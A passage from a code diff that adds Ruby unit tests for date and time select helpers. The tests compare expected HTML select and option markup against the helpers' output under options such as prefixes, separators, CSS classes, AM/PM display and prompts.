+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_start_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    last_year = Time.now.year + 5
+    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_nil_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_html_options
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => "selector")
+  end
+
+  def test_select_date_with_separator
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+  end
+
+  def test_select_date_with_separator_and_discard_day
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+  end
+
+  def test_select_date_with_separator_discard_month_and_day
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
+    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_month => true, :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+  end
+
+  def test_select_date_with_hidden
+    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :prefix => "date[first]", :use_hidden => true })
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :prefix => "date[first]", :use_hidden => true })
+  end
+
+  def test_select_date_with_css_classes_option
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="year">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true})
+  end
+
+  def test_select_date_with_css_classes_option_and_html_class_option
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="datetime optional month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="datetime optional day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true}, { class: 'datetime optional' })
+  end
+
+  def test_select_datetime
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+  end
+
+  def test_select_datetime_with_ampm
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :ampm => true)
+  end
+
+  def test_select_datetime_with_separators
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :datetime_separator => ' — ', :time_separator => ' : ')
+  end
+
+  def test_select_datetime_with_nil_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
+  end
+
+  def test_select_datetime_with_html_options
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+  end
+
+  def test_select_datetime_with_all_separators
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected << "—"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << ":"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { :datetime_separator => "—", :date_separator => "/", :time_separator => ":", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
+  end
+
+  def test_select_datetime_should_work_with_date
+    assert_nothing_raised { select_datetime(Date.today) }
+  end
+
+  def test_select_datetime_with_default_prompt
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+    expected << "</select>\n"
+
+    expected << " — "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005,
+                                               :prefix => "date[first]", :prompt => true)
+  end
+
+  def test_select_datetime_with_custom_prompt
+
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
